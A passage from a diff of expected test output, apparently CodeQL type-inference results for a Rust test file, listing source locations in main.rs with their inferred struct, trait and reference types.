main.rs:659:20:659:21 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:661:26:661:27 | x2 | | main.rs:635:5:636:19 | struct S | -| main.rs:661:26:661:27 | x2 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:661:26:661:32 | x2.m2(...) | | file://:0:0:0:0 | & | -| main.rs:661:26:661:32 | x2.m2(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:662:26:662:27 | x2 | | main.rs:635:5:636:19 | struct S | -| main.rs:662:26:662:27 | x2 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:662:26:662:32 | x2.m3(...) | | file://:0:0:0:0 | & | -| main.rs:662:26:662:32 | x2.m3(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:664:13:664:14 | x3 | | main.rs:635:5:636:19 | struct S | -| main.rs:664:13:664:14 | x3 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:664:18:664:22 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:664:18:664:22 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:664:20:664:21 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:666:26:666:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:666:26:666:41 | ...::m2(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:666:38:666:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:666:38:666:40 | &x3 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:666:38:666:40 | &x3 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:666:39:666:40 | x3 | | main.rs:635:5:636:19 | struct S | -| main.rs:666:39:666:40 | x3 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:667:26:667:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:667:26:667:41 | ...::m3(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:667:38:667:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:667:38:667:40 | &x3 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:667:38:667:40 | &x3 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:667:39:667:40 | x3 | | main.rs:635:5:636:19 | struct S | -| main.rs:667:39:667:40 | x3 | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:669:13:669:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:669:13:669:14 | x4 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:669:13:669:14 | x4 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:669:18:669:23 | &... | | file://:0:0:0:0 | & | -| main.rs:669:18:669:23 | &... | &T | main.rs:635:5:636:19 | struct S | -| main.rs:669:18:669:23 | &... | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:669:19:669:23 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:669:19:669:23 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:669:21:669:22 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:671:26:671:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:671:26:671:27 | x4 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:671:26:671:27 | x4 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:671:26:671:32 | x4.m2(...) | | file://:0:0:0:0 | & | -| main.rs:671:26:671:32 | x4.m2(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:672:26:672:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:672:26:672:27 | x4 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:672:26:672:27 | x4 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:672:26:672:32 | x4.m3(...) | | file://:0:0:0:0 | & | -| main.rs:672:26:672:32 | x4.m3(...) | &T | main.rs:638:5:639:14 | struct S2 | -| main.rs:674:13:674:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:674:13:674:14 | x5 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:674:13:674:14 | x5 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:674:18:674:23 | &... | | file://:0:0:0:0 | & | -| main.rs:674:18:674:23 | &... | &T | main.rs:635:5:636:19 | struct S | -| main.rs:674:18:674:23 | &... | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:674:19:674:23 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:674:19:674:23 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:674:21:674:22 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:676:26:676:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:676:26:676:27 | x5 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:676:26:676:27 | x5 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:676:26:676:32 | x5.m1(...) | | main.rs:638:5:639:14 | struct S2 | -| main.rs:677:26:677:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:677:26:677:27 | x5 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:677:26:677:27 | x5 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:677:26:677:29 | x5.0 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:679:13:679:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:679:13:679:14 | x6 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:679:13:679:14 | x6 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:679:18:679:23 | &... | | file://:0:0:0:0 | & | -| main.rs:679:18:679:23 | &... | &T | main.rs:635:5:636:19 | struct S | -| main.rs:679:18:679:23 | &... | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:679:19:679:23 | S(...) | | main.rs:635:5:636:19 | struct S | -| main.rs:679:19:679:23 | S(...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:679:21:679:22 | S2 | | main.rs:638:5:639:14 | struct S2 | -| main.rs:681:26:681:30 | (...) | | main.rs:635:5:636:19 | struct S | -| main.rs:681:26:681:30 | (...) | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:681:26:681:35 | ... .m1(...) | | main.rs:638:5:639:14 | struct S2 | -| main.rs:681:27:681:29 | * ... | | main.rs:635:5:636:19 | struct S | -| main.rs:681:27:681:29 | * ... | T | main.rs:638:5:639:14 | struct S2 | -| main.rs:681:28:681:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:681:28:681:29 | x6 | &T | main.rs:635:5:636:19 | struct S | -| main.rs:681:28:681:29 | x6 | &T.T | main.rs:638:5:639:14 | struct S2 | -| main.rs:687:16:687:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:687:16:687:20 | SelfParam | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:689:16:689:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:689:16:689:20 | SelfParam | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:689:32:691:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:689:32:691:9 | { ... } | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:690:13:690:16 | self | | file://:0:0:0:0 | & | -| main.rs:690:13:690:16 | self | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:690:13:690:22 | self.foo(...) | | file://:0:0:0:0 | & | -| main.rs:690:13:690:22 | self.foo(...) | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:697:16:697:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:697:16:697:20 | SelfParam | &T | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:697:36:699:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:697:36:699:9 | { ... } | &T | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:698:13:698:16 | self | | file://:0:0:0:0 | & | -| main.rs:698:13:698:16 | self | &T | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:703:13:703:13 | x | | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:703:13:703:13 | x | | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:703:17:703:24 | MyStruct | | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:703:17:703:24 | MyStruct | | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:704:9:704:9 | x | | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:704:9:704:9 | x | | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:704:9:704:15 | x.bar(...) | | file://:0:0:0:0 | & | -| main.rs:704:9:704:15 | x.bar(...) | &T | main.rs:686:5:692:5 | trait MyTrait | -| main.rs:704:9:704:15 | x.bar(...) | &T | main.rs:694:5:694:20 | struct MyStruct | -| main.rs:714:16:714:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:714:16:714:20 | SelfParam | &T | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:714:16:714:20 | SelfParam | &T.T | main.rs:713:10:713:10 | T | -| main.rs:714:32:716:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:714:32:716:9 | { ... } | &T | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:714:32:716:9 | { ... } | &T.T | main.rs:713:10:713:10 | T | -| main.rs:715:13:715:16 | self | | file://:0:0:0:0 | & | -| main.rs:715:13:715:16 | self | &T | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:715:13:715:16 | self | &T.T | main.rs:713:10:713:10 | T | -| main.rs:720:13:720:13 | x | | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:720:13:720:13 | x | T | main.rs:709:5:709:13 | struct S | -| main.rs:720:17:720:27 | MyStruct(...) | | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:720:17:720:27 | MyStruct(...) | T | main.rs:709:5:709:13 | struct S | -| main.rs:720:26:720:26 | S | | main.rs:709:5:709:13 | struct S | -| main.rs:721:9:721:9 | x | | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:721:9:721:9 | x | T | main.rs:709:5:709:13 | struct S | -| main.rs:721:9:721:15 | x.foo(...) | | file://:0:0:0:0 | & | -| main.rs:721:9:721:15 | x.foo(...) | &T | main.rs:711:5:711:26 | struct MyStruct | -| main.rs:721:9:721:15 | x.foo(...) | &T.T | main.rs:709:5:709:13 | struct S | -| main.rs:729:15:729:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:729:15:729:19 | SelfParam | &T | main.rs:726:5:726:13 | struct S | -| main.rs:729:31:731:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:729:31:731:9 | { ... } | &T | main.rs:726:5:726:13 | struct S | -| main.rs:730:13:730:19 | &... | | file://:0:0:0:0 | & | -| main.rs:730:13:730:19 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:730:14:730:19 | &... | | file://:0:0:0:0 | & | -| main.rs:730:14:730:19 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:730:15:730:19 | &self | | file://:0:0:0:0 | & | -| main.rs:730:15:730:19 | &self | &T | main.rs:726:5:726:13 | struct S | -| main.rs:730:16:730:19 | self | | file://:0:0:0:0 | & | -| main.rs:730:16:730:19 | self | &T | main.rs:726:5:726:13 | struct S | -| main.rs:733:15:733:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:733:15:733:25 | SelfParam | &T | main.rs:726:5:726:13 | struct S | -| main.rs:733:37:735:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:733:37:735:9 | { ... } | &T | main.rs:726:5:726:13 | struct S | -| main.rs:734:13:734:19 | &... | | file://:0:0:0:0 | & | -| main.rs:734:13:734:19 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:734:14:734:19 | &... | | file://:0:0:0:0 | & | -| main.rs:734:14:734:19 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:734:15:734:19 | &self | | file://:0:0:0:0 | & | -| main.rs:734:15:734:19 | &self | &T | main.rs:726:5:726:13 | struct S | -| main.rs:734:16:734:19 | self | | file://:0:0:0:0 | & | -| main.rs:734:16:734:19 | self | &T | main.rs:726:5:726:13 | struct S | -| main.rs:737:15:737:15 | x | | file://:0:0:0:0 | & | -| main.rs:737:15:737:15 | x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:737:34:739:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:737:34:739:9 | { ... } | &T | main.rs:726:5:726:13 | struct S | -| main.rs:738:13:738:13 | x | | file://:0:0:0:0 | & | -| main.rs:738:13:738:13 | x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:741:15:741:15 | x | | file://:0:0:0:0 | & | -| main.rs:741:15:741:15 | x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:741:34:743:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:741:34:743:9 | { ... } | &T | main.rs:726:5:726:13 | struct S | -| main.rs:742:13:742:16 | &... | | file://:0:0:0:0 | & | -| main.rs:742:13:742:16 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:742:14:742:16 | &... | | file://:0:0:0:0 | & | -| main.rs:742:14:742:16 | &... | &T | main.rs:726:5:726:13 | struct S | -| main.rs:742:15:742:16 | &x | | file://:0:0:0:0 | & | -| main.rs:742:15:742:16 | &x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:742:16:742:16 | x | | file://:0:0:0:0 | & | -| main.rs:742:16:742:16 | x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:747:13:747:13 | x | | main.rs:726:5:726:13 | struct S | -| main.rs:747:17:747:20 | S {...} | | main.rs:726:5:726:13 | struct S | -| main.rs:748:9:748:9 | x | | main.rs:726:5:726:13 | struct S | -| main.rs:748:9:748:14 | x.f1(...) | | file://:0:0:0:0 | & | -| main.rs:748:9:748:14 | x.f1(...) | &T | main.rs:726:5:726:13 | struct S | -| main.rs:749:9:749:9 | x | | main.rs:726:5:726:13 | struct S | -| main.rs:749:9:749:14 | x.f2(...) | | file://:0:0:0:0 | & | -| main.rs:749:9:749:14 | x.f2(...) | &T | main.rs:726:5:726:13 | struct S | -| main.rs:750:9:750:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:750:9:750:17 | ...::f3(...) | &T | main.rs:726:5:726:13 | struct S | -| main.rs:750:15:750:16 | &x | | file://:0:0:0:0 | & | -| main.rs:750:15:750:16 | &x | &T | main.rs:726:5:726:13 | struct S | -| main.rs:750:16:750:16 | x | | main.rs:726:5:726:13 | struct S | -| main.rs:756:5:756:20 | ...::f(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:757:5:757:60 | ...::g(...) | | main.rs:67:5:67:21 | struct Foo | -| main.rs:757:20:757:38 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | -| main.rs:757:41:757:59 | ...::Foo {...} | | main.rs:67:5:67:21 | struct Foo | +| main.rs:304:26:304:26 | x | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:304:26:304:26 | x | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:304:26:304:26 | x | A | main.rs:262:5:263:14 | struct S1 | +| main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:304:26:304:31 | x.m2(...) | | main.rs:262:5:263:14 | struct S1 | +| main.rs:305:26:305:26 | y | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:305:26:305:26 | y | | main.rs:267:5:276:5 | trait MyTrait | +| main.rs:305:26:305:26 | y | A | main.rs:264:5:265:14 | struct S2 | +| main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | struct S2 | +| main.rs:305:26:305:31 | y.m2(...) | | main.rs:264:5:265:14 | struct S2 | +| main.rs:307:13:307:14 | x2 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:307:13:307:14 | x2 | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:307:18:307:34 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:307:18:307:34 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:307:31:307:32 | S1 | | main.rs:262:5:263:14 | struct S1 | +| main.rs:308:13:308:14 | y2 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:308:13:308:14 | y2 | T | main.rs:264:5:265:14 | struct S2 | +| main.rs:308:18:308:34 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:308:18:308:34 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | +| main.rs:308:31:308:32 | S2 | | main.rs:264:5:265:14 | struct S2 | +| main.rs:310:40:310:41 | x2 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:310:40:310:41 | x2 | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:311:40:311:41 | y2 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:311:40:311:41 | y2 | T | main.rs:264:5:265:14 | struct S2 | +| main.rs:313:13:313:14 | x3 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:313:13:313:14 | x3 | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:313:13:313:14 | x3 | T.T | main.rs:262:5:263:14 | struct S1 | +| main.rs:313:18:315:9 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:313:18:315:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:313:18:315:9 | MyThing {...} | T.T | main.rs:262:5:263:14 | struct S1 | +| main.rs:314:16:314:32 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:314:16:314:32 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | +| main.rs:314:29:314:30 | S1 | | main.rs:262:5:263:14 | struct S1 | +| main.rs:316:13:316:14 | y3 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:316:13:316:14 | y3 | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:316:13:316:14 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | +| main.rs:316:18:318:9 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:316:18:318:9 | MyThing {...} | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:316:18:318:9 | MyThing {...} | T.T | main.rs:264:5:265:14 | struct S2 | +| main.rs:317:16:317:32 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:317:16:317:32 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | +| main.rs:317:29:317:30 | S2 | | main.rs:264:5:265:14 | struct S2 | +| main.rs:320:46:320:47 | x3 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:320:46:320:47 | x3 | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:320:46:320:47 | x3 | T.T | main.rs:262:5:263:14 | struct S1 | +| main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | struct MyThing | +| main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | struct MyThing | +| main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | +| main.rs:329:15:329:18 | SelfParam | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:331:15:331:18 | SelfParam | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:346:15:346:18 | SelfParam | | main.rs:340:5:341:13 | struct S | +| main.rs:346:45:348:9 | { ... } | | main.rs:340:5:341:13 | struct S | +| main.rs:347:13:347:13 | S | | main.rs:340:5:341:13 | struct S | +| main.rs:352:13:352:13 | x | | main.rs:340:5:341:13 | struct S | +| main.rs:352:17:352:17 | S | | main.rs:340:5:341:13 | struct S | +| main.rs:353:26:353:26 | x | | main.rs:340:5:341:13 | struct S | +| main.rs:353:26:353:31 | x.m1(...) | | main.rs:340:5:341:13 | struct S | +| main.rs:355:13:355:13 | x | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:355:13:355:13 | x | | main.rs:340:5:341:13 | struct S | +| main.rs:355:17:355:17 | S | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:355:17:355:17 | S | | main.rs:340:5:341:13 | struct S | +| main.rs:356:26:356:26 | x | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:356:26:356:26 | x | | main.rs:340:5:341:13 | struct S | +| main.rs:373:15:373:18 | SelfParam | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:373:15:373:18 | SelfParam | A | main.rs:372:10:372:10 | T | +| main.rs:373:26:378:9 | { ... } | | main.rs:372:10:372:10 | T | +| main.rs:374:13:377:13 | match self { ... } | | main.rs:372:10:372:10 | T | +| main.rs:374:19:374:22 | self | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:374:19:374:22 | self | A | main.rs:372:10:372:10 | T | +| main.rs:375:28:375:28 | a | | main.rs:372:10:372:10 | T | +| main.rs:375:34:375:34 | a | | main.rs:372:10:372:10 | T | +| main.rs:376:30:376:30 | a | | main.rs:372:10:372:10 | T | +| main.rs:376:37:376:37 | a | | main.rs:372:10:372:10 | T | +| main.rs:382:13:382:13 | x | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:382:13:382:13 | x | A | main.rs:367:5:368:14 | struct S1 | +| main.rs:382:17:382:30 | ...::C1(...) | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:382:17:382:30 | ...::C1(...) | A | main.rs:367:5:368:14 | struct S1 | +| main.rs:382:28:382:29 | S1 | | main.rs:367:5:368:14 | struct S1 | +| main.rs:383:13:383:13 | y | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:383:13:383:13 | y | A | main.rs:369:5:370:14 | struct S2 | +| main.rs:383:17:383:36 | ...::C2 {...} | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:383:17:383:36 | ...::C2 {...} | A | main.rs:369:5:370:14 | struct S2 | +| main.rs:383:33:383:34 | S2 | | main.rs:369:5:370:14 | struct S2 | +| main.rs:385:26:385:26 | x | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:385:26:385:26 | x | A | main.rs:367:5:368:14 | struct S1 | +| main.rs:385:26:385:31 | x.m1(...) | | main.rs:367:5:368:14 | struct S1 | +| main.rs:386:26:386:26 | y | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | struct S2 | +| main.rs:386:26:386:31 | y.m1(...) | | main.rs:369:5:370:14 | struct S2 | +| main.rs:407:15:407:18 | SelfParam | | main.rs:406:5:408:5 | trait MyTrait1 | +| main.rs:407:15:407:18 | SelfParam | Tr1 | main.rs:406:20:406:22 | Tr1 | +| main.rs:411:15:411:18 | SelfParam | | main.rs:406:5:408:5 | trait MyTrait1 | +| main.rs:411:15:411:18 | SelfParam | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:411:15:411:18 | SelfParam | Tr1 | main.rs:410:20:410:22 | Tr2 | +| main.rs:411:15:411:18 | SelfParam | Tr2 | main.rs:410:20:410:22 | Tr2 | +| main.rs:414:9:420:9 | { ... } | | main.rs:410:20:410:22 | Tr2 | +| main.rs:415:13:419:13 | if ... {...} else {...} | | main.rs:410:20:410:22 | Tr2 | +| main.rs:415:26:417:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | +| main.rs:416:17:416:20 | self | | main.rs:406:5:408:5 | trait MyTrait1 | +| main.rs:416:17:416:20 | self | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:416:17:416:20 | self | Tr1 | main.rs:410:20:410:22 | Tr2 | +| main.rs:416:17:416:20 | self | Tr2 | main.rs:410:20:410:22 | Tr2 | +| main.rs:416:17:416:25 | self.m1(...) | | main.rs:410:20:410:22 | Tr2 | +| main.rs:417:20:419:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | +| main.rs:418:17:418:30 | ...::m1(...) | | main.rs:410:20:410:22 | Tr2 | +| main.rs:418:26:418:29 | self | | main.rs:406:5:408:5 | trait MyTrait1 | +| main.rs:418:26:418:29 | self | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:418:26:418:29 | self | Tr1 | main.rs:410:20:410:22 | Tr2 | +| main.rs:418:26:418:29 | self | Tr2 | main.rs:410:20:410:22 | Tr2 | +| main.rs:424:15:424:18 | SelfParam | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:424:15:424:18 | SelfParam | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:424:15:424:18 | SelfParam | Tr2 | main.rs:391:5:394:5 | struct MyThing | +| main.rs:424:15:424:18 | SelfParam | Tr2.A | main.rs:423:20:423:22 | Tr3 | +| main.rs:424:15:424:18 | SelfParam | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:427:9:433:9 | { ... } | | main.rs:423:20:423:22 | Tr3 | +| main.rs:428:13:432:13 | if ... {...} else {...} | | main.rs:423:20:423:22 | Tr3 | +| main.rs:428:26:430:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:20 | self | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:429:17:429:20 | self | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:429:17:429:20 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing | +| main.rs:429:17:429:20 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:20 | self | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:25 | self.m2(...) | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:429:17:429:25 | self.m2(...) | A | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:27 | ... .a | | main.rs:423:20:423:22 | Tr3 | +| main.rs:430:20:432:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | +| main.rs:431:17:431:30 | ...::m2(...) | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:431:17:431:30 | ...::m2(...) | A | main.rs:423:20:423:22 | Tr3 | +| main.rs:431:17:431:32 | ... .a | | main.rs:423:20:423:22 | Tr3 | +| main.rs:431:26:431:29 | self | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:431:26:431:29 | self | | main.rs:423:5:434:5 | trait MyTrait3 | +| main.rs:431:26:431:29 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing | +| main.rs:431:26:431:29 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 | +| main.rs:431:26:431:29 | self | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:437:15:437:18 | SelfParam | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:437:15:437:18 | SelfParam | A | main.rs:436:10:436:10 | T | +| main.rs:437:26:439:9 | { ... } | | main.rs:436:10:436:10 | T | +| main.rs:438:13:438:16 | self | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:438:13:438:16 | self | A | main.rs:436:10:436:10 | T | +| main.rs:438:13:438:18 | self.a | | main.rs:436:10:436:10 | T | +| main.rs:445:15:445:18 | SelfParam | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:445:15:445:18 | SelfParam | A | main.rs:444:10:444:10 | T | +| main.rs:445:35:447:9 | { ... } | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:445:35:447:9 | { ... } | A | main.rs:444:10:444:10 | T | +| main.rs:446:13:446:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:446:13:446:33 | MyThing {...} | A | main.rs:444:10:444:10 | T | +| main.rs:446:26:446:29 | self | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:446:26:446:29 | self | A | main.rs:444:10:444:10 | T | +| main.rs:446:26:446:31 | self.a | | main.rs:444:10:444:10 | T | +| main.rs:455:13:455:13 | x | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:455:13:455:13 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:455:17:455:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:455:17:455:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:455:30:455:31 | S1 | | main.rs:401:5:402:14 | struct S1 | +| main.rs:456:13:456:13 | y | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:456:13:456:13 | y | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:456:17:456:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:456:17:456:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:456:30:456:31 | S2 | | main.rs:403:5:404:14 | struct S2 | +| main.rs:458:26:458:26 | x | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:458:26:458:26 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:458:26:458:31 | x.m1(...) | | main.rs:401:5:402:14 | struct S1 | +| main.rs:459:26:459:26 | y | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | struct S2 | +| main.rs:459:26:459:31 | y.m1(...) | | main.rs:403:5:404:14 | struct S2 | +| main.rs:461:13:461:13 | x | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:461:13:461:13 | x | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:461:13:461:13 | x | Tr2 | main.rs:401:5:402:14 | struct S1 | +| main.rs:461:17:461:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:461:17:461:33 | MyThing {...} | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 | +| main.rs:461:17:461:33 | MyThing {...} | Tr2 | main.rs:401:5:402:14 | struct S1 | +| main.rs:461:30:461:31 | S1 | | main.rs:401:5:402:14 | struct S1 | +| main.rs:462:13:462:13 | y | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:462:13:462:13 | y | | main.rs:410:5:421:5 | trait MyTrait2 | +| main.rs:462:13:462:13 | y | A | 